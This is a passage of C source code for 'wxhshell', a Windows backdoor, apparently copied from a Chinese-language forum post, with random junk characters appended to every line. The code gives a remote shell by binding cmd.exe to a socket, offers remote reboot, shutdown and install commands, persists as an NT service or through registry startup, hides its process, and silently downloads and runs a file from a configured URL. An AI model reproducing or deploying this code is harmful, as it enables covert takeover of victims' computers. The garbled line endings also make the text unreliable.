  else (>7>3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |<c WllN  
  } Ch5+N6c^  
  else { K0Tg|9  
yWb4Ify  
    switch(cmd[0]) { ?obm7<  
  e|lD:_1i  
  // 帮助 #fDs[  
  case '?': { ?9xu{B>6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3WUH~l{UJ  
    break; QJBr6   
  } orfp>B) 0  
  // 安装 AK@L32-S  
  case 'i': { OH'ea5x q  
    if(Install()) T?wzwGp-[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D/ Dt   
    else s\3q!A?S3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rRb+_]Lg  
    break; ]Kh2;>= Xj  
    } y7lWeBnC  
  // 卸载 `JURQ:l)3^  
  case 'r': { )^x K   
    if(Uninstall()) K7(MD1tk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bF-"tm  
    else i.y)mcB4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dh -,E  
    break; ',=g;  
    } bGmx7qt#  
  // 显示 wxhshell 所在路径 'Jj=RAV`  
  case 'p': { j*R,m1e8  
    char svExeFile[MAX_PATH]; ^@6q  
    strcpy(svExeFile,"\n\r"); Da1aI]{I  
      strcat(svExeFile,ExeFile); MMQ;mw=^]  
        send(wsh,svExeFile,strlen(svExeFile),0); cgT  
    break; tWPO]3hW  
    } B80aw>M  
  // 重启 5iX! lAFJ  
  case 'b': { q3w1GD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ol/N}M|3  
    if(Boot(REBOOT)) EqB)sK/3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  zGlZ!t:  
    else { 3HC  
    closesocket(wsh); svhI3"r  
    ExitThread(0); rofNZ;nu  
    } E-2 eOT  
    break; 8y2+&#$  
    } []pN$]+c  
  // 关机 _^ |2}t  
  case 'd': { =H`Q~ Xx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j<yiNHC  
    if(Boot(SHUTDOWN)) 83Ou9E!W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g=8un`]7  
    else { lS5ny  
    closesocket(wsh); Y3U9:VB  
    ExitThread(0); vGd1w%J-  
    } Ctu?o+^;z  
    break; t0E51Ic@  
    } V9%aBkf8w  
  // 获取shell +0$/y]k  
  case 's': { p*3; hGp6  
    CmdShell(wsh); 3lxc4@Zmd  
    closesocket(wsh); TLa]O1=Bf.  
    ExitThread(0); Sm{>rR  
    break; /F/;G*n  
  } aAt>QxGQW  
  // 退出 KW3+luI6  
  case 'x': { G;iEo4\?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #s5N[uK^m  
    CloseIt(wsh); -7qIToO.  
    break; xyh.N)  
    } JCniN";r[  
  // 离开 \3YO<E!t  
  case 'q': { 'fd1Pj9~$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6QQfQ,  
    closesocket(wsh); ;3'NMk  
    WSACleanup(); cI0 ]}S  
    exit(1); R!\EK H  
    break; {Tp2H_EG  
        } n$L51#'  
  } ~p1EF;4#  
  } +K",^6%1  
)u:Q) %$t  
  // 提示信息 "f.Z}AbP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :3h{ A`u  
} j{++6<tr  
  } F'RUel_%  
RzKb{> ;A  
  return; K,ej%Vtz  
} {}~:&.D  
gk0.zz([  
// shell模块句柄 BHDML.r }M  
int CmdShell(SOCKET sock) W~n.Xeu{C  
{ El_Qk[X|A  
STARTUPINFO si; (?)7)5H  
ZeroMemory(&si,sizeof(si)); 4vnUN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UPU+ver  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rfb?f} j  
PROCESS_INFORMATION ProcessInfo; \ gwXH  
char cmdline[]="cmd"; Qq& W3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +FG$x/\*0  
  return 0; R6;Phdh<>  
} DPgm%Xq9(!  
AEirj /  
// 自身启动模式 +\ _{x/u1  
int StartFromService(void) imB#Eo4eY  
{ F t&+vS  
typedef struct l(W[_ D  
{ kK>Xrj6  
  DWORD ExitStatus; vYmSKS  
  DWORD PebBaseAddress;  ,*id'=S  
  DWORD AffinityMask; .\Fss(Zn  
  DWORD BasePriority; ~!iQ6N?PY  
  ULONG UniqueProcessId; FVsj;  
  ULONG InheritedFromUniqueProcessId; MZv]s  
}   PROCESS_BASIC_INFORMATION; rsNf$v-*  
@~ Dh'w2q  
PROCNTQSIP NtQueryInformationProcess; le)DgIT>=  
_;9!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \0;(VLN'U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; is; XmF*5=  
\{\MxXW  
  HANDLE             hProcess; qem(s</:  
  PROCESS_BASIC_INFORMATION pbi; jn%kG ~]'Q  
cR{>IH4^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <lxD}DH=  
  if(NULL == hInst ) return 0; p0p4Xh1 e  
Z,7R;,qX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j=+"Qz/hr_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '(+<UpG_Q}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X&m'.PA  
:& XH?/Wi  
  if (!NtQueryInformationProcess) return 0; KU9Z"9#  
Y(VJbm`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #C*8X+._y  
  if(!hProcess) return 0; w)] H ^6  
h~Q)Uy5N(D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +#J,BKul  
VObrlOkp  
  CloseHandle(hProcess); pI[ZBoR~  
`\| ssC8u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~|Y>:M+0Z  
if(hProcess==NULL) return 0; u'A#%}3  
AN:@fZ  
HMODULE hMod; f3*?MXxb16  
char procName[255]; SF ]@|  
unsigned long cbNeeded; \a^,sV  
C&\5'[*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ei>m0 ~<\  
,hxkk`  
  CloseHandle(hProcess); $gle8Z-  
>cmE t  
if(strstr(procName,"services")) return 1; // 以服务启动 "%2xR[NF  
'WyTI^K9  
  return 0; // 注册表启动 6$Q,Y}j  
} tCF&OOI4`  
uZKP"Oy  
// 主模块 ?ne_m:J[  
int StartWxhshell(LPSTR lpCmdLine) 2LY=D L7  
{ !{^\1QK  
  SOCKET wsl; O  OFVnu  
BOOL val=TRUE; <msxHw  
  int port=0; s$h] G[x  
  struct sockaddr_in door; !7B\Xl'S  
)o _j]K+xI  
  if(wscfg.ws_autoins) Install(); {[Q0qi =  
@{ ;XZb^  
port=atoi(lpCmdLine); :B *}^g  
=;~I_)Pg1  
if(port<=0) port=wscfg.ws_port; J<n+\F-s  
lVH<lp_ZtK  
  WSADATA data; %rKK[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~rbIMF4T`]  
i@"e,7mSG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .] 4W!])9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +~Cy$M CX  
  door.sin_family = AF_INET;  Fnx`Ri  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dpZ;l 9  
  door.sin_port = htons(port); [V# r7a  
fg%&N2/(.B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /Poet%XvRx  
closesocket(wsl); m8]?hJY 3l  
return 1;   \J^  
} 3cl9wWlJ_E  
V% TH7@y  
  if(listen(wsl,2) == INVALID_SOCKET) { e= P  
closesocket(wsl); 8Q`WB0E<|  
return 1; "T/>d%O1b  
} $.6K!x{(  
  Wxhshell(wsl); Q<tu)Qo  
  WSACleanup(); >gtQw!  
uw\1b.r'B  
return 0; )+I.|5g  
&`|:L(+  
} Tz&Y]#h_  
ytEC   
// 以NT服务方式启动 Die-@z|Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z|R,&~:  
{ ^:, l\Y  
DWORD   status = 0; kW3E =pr  
  DWORD   specificError = 0xfffffff; pfuW  
F#|O@.tDG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yKagT$-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; td2/9|Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6+rlXmd  
  serviceStatus.dwWin32ExitCode     = 0; FwKj+f"  
  serviceStatus.dwServiceSpecificExitCode = 0; )-rW&"{U  
  serviceStatus.dwCheckPoint       = 0; BI[JATZG  
  serviceStatus.dwWaitHint       = 0; pC,o2~%{  
0x2!<z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #(Or|\t  
  if (hServiceStatusHandle==0) return; `i~ Y Fr  
z"4]5&3A  
status = GetLastError(); ]-o"}"3Ef  
  if (status!=NO_ERROR) }0 hL~i  
{ <<A`aU^fX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |iFVh$N  
    serviceStatus.dwCheckPoint       = 0; #h!*dj"  
    serviceStatus.dwWaitHint       = 0; A?Qa 4i  
    serviceStatus.dwWin32ExitCode     = status; TOF '2&H  
    serviceStatus.dwServiceSpecificExitCode = specificError; !33#. @[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :m=m}3/:  
    return; `?\tUO2_T  
  } {)f~#37  
6!iJ;1PeE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %m5Q"4O  
  serviceStatus.dwCheckPoint       = 0; kyh_9K1  
  serviceStatus.dwWaitHint       = 0; u.pxz8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !;@_VWR  
} .UCt|> $  
'+'CbWgY  
// 处理NT服务事件,比如:启动、停止 YO{GU7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2g*J  
{ :R6bq!  
switch(fdwControl) QlFZO4 P3|  
{ ?zJpD8e  
case SERVICE_CONTROL_STOP: PeX1wK%f  
  serviceStatus.dwWin32ExitCode = 0; @Fv=u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; / il@`w;G  
  serviceStatus.dwCheckPoint   = 0; gsar[gZ  
  serviceStatus.dwWaitHint     = 0; 6TWWl U^e  
  { =6FUNvP#8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sydh2d  
  } &WXY'A=  
  return; $VG*q  
case SERVICE_CONTROL_PAUSE: `"yxdlXA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3OyS8`  
  break; TG48%L  
case SERVICE_CONTROL_CONTINUE: LVIAF0kX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P47V:E%  
  break; (9\;A*CZ  
case SERVICE_CONTROL_INTERROGATE: W^,S6!  
  break; Gz I~TWc+G  
}; 148V2H)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )'4P.>!!aQ  
} 0oA{Jix  
C F!Sa6  
// 标准应用程序主函数 3:/'t{ ^B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gC%G;-gm  
{ snM Z0W  
=d 2r6%v  
// 获取操作系统版本 S 6,4PP  
OsIsNt=GetOsVer(); rj ]F87"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z0!5d<  
N(6|yZ<J3M  
  // 从命令行安装 a/Q$cOs  
  if(strpbrk(lpCmdLine,"iI")) Install(); KAA-G2%M  
-W{DxN1  
  // 下载执行文件 TQX)?^Ft  
if(wscfg.ws_downexe) { v dbO(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i!2TH~zl  
  WinExec(wscfg.ws_filenam,SW_HIDE); nZ1zJpBmI  
} B0$:b !  
XLk<*0t p  
if(!OsIsNt) { TlL^7f}  
// 如果时win9x,隐藏进程并且设置为注册表启动 c@[:V  
HideProc(); 0<"k8 k@J  
StartWxhshell(lpCmdLine); A61^[Y,dX_  
} 'oNO-)p\#!  
else HjvCujJ  
  if(StartFromService()) -\ZcOXpMx=  
  // 以服务方式启动 C$Lu]pIL*  
  StartServiceCtrlDispatcher(DispatchTable); |Z\R*b"  
else $CTSnlPq  
  // 普通方式启动 o56`  
  StartWxhshell(lpCmdLine); Wc3kO'J  
%98' @$:0  
return 0; c0c|z Ym  
}
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只看该作者 1 发表于: 2006-10-10
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